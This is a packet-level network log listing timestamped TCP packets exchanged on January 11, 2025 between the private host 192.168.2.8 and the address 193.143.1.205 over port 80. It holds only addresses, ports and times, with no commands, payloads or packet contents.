Jan 11, 2025 08:44:26.905633926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.905659914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.905664921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.905678034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.905736923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.905752897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.905765057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.905775070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.905781031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.905787945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.906017065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.906454086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.906503916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.906516075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.906517982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.906553030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.906564951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.906596899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.906732082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.909710884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.923676968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.923691034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.923703909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.923722029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.923733950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.923744917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.923753977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.923758984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.923810959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.923831940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.923851013 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.926472902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.926501989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.926512957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.926553011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.926578045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.926603079 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.926659107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.926677942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.926690102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.926719904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.926774979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.926791906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.926805019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.926827908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.926872015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.958579063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.958590984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.958601952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.958678961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.991377115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.991389990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.991403103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.991475105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.991494894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.991514921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.991525888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.991548061 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.991563082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.991591930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.991633892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.991663933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.991677046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.991688967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.991698980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.991722107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.991746902 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.992115974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.992160082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.992172956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.992186069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.992213964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.992235899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.992429018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.992468119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.992480040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.992511988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:26.992521048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:26.992552996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.022978067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.022994995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023034096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023092031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.023092985 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023108959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023134947 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.023171902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023185015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023195982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023212910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.023238897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023241043 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.023669004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023689032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023715973 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.023823977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023835897 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023845911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.023870945 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.023897886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.024013996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024058104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024070024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024101019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.024144888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024158001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024175882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024198055 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.024228096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.024517059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024537086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024549007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024578094 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.024622917 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024636030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024665117 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.024744034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024756908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024791956 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.024806976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024820089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024831057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.024851084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.024882078 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.025422096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.025461912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.025474072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.025512934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.025546074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.025558949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.025569916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.025587082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.025614023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.025731087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.025743961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.025754929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.025767088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.025784969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.025820017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.026336908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.026379108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.026391983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.026423931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.026459932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.026472092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.026483059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.026500940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.026529074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.026582956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.026595116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.026606083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.026613951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.026652098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.027301073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.027318001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.027329922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.027375937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.027395964 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.027407885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.027419090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.027430058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.027437925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.027462959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.027509928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.027520895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.027532101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.027559996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.027575970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.028176069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.028208017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.028224945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.028249025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.028250933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.028261900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.028290033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.028331995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.028343916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.028353930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.028363943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.028382063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.028409958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.028435946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.028480053 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.028655052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.029083967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.029103994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.029120922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.029153109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.029198885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.029210091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.029221058 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.029232979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.029241085 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.029259920 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.029329062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.029340982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.029357910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.029371977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.029398918 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.030113935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030124903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030138016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030149937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030160904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030172110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030179977 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.030191898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030200005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.030206919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030222893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030222893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.030236006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030253887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.030287981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.030930996 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030944109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030956984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.030994892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.031003952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.031007051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.031024933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.031034946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.031068087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.035501957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.081238031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081250906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081267118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081279993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081293106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081324100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081331968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.081366062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081377983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081391096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.081429958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.081442118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081521034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081531048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081542969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081562996 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.081585884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081595898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.081598997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081610918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081646919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.081793070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081804037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081814051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081825972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081836939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.081836939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081856966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081868887 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.081898928 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.081906080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081918001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.081945896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.112931013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.112941980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.112951994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.112989902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113002062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113025904 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113044024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113061905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113065958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113079071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113092899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113104105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113125086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113141060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113142967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113156080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113173008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113184929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113193035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113228083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113270998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113284111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113296032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113306999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113323927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113348961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113352060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113365889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113411903 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113496065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113507032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113518000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113528967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113538027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113543987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113555908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113567114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113569021 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113579988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113601923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113603115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113614082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113632917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113656998 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113688946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113702059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113749027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113768101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113780975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113791943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113812923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113843918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113856077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113867044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113887072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113889933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113898039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.113955021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113967896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113979101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.113996983 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.114022970 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.114036083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.114048958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.114059925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.114089966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.114124060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.114135981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.114146948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.114156961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.114173889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.114192963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.114202976 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.114223957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.114233017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.114237070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.114279032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.117918015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.117928982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.117939949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.117964983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:44:27.117966890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:44:27.117978096 CET	80	49705	193.143.1.205	192.168.2.8
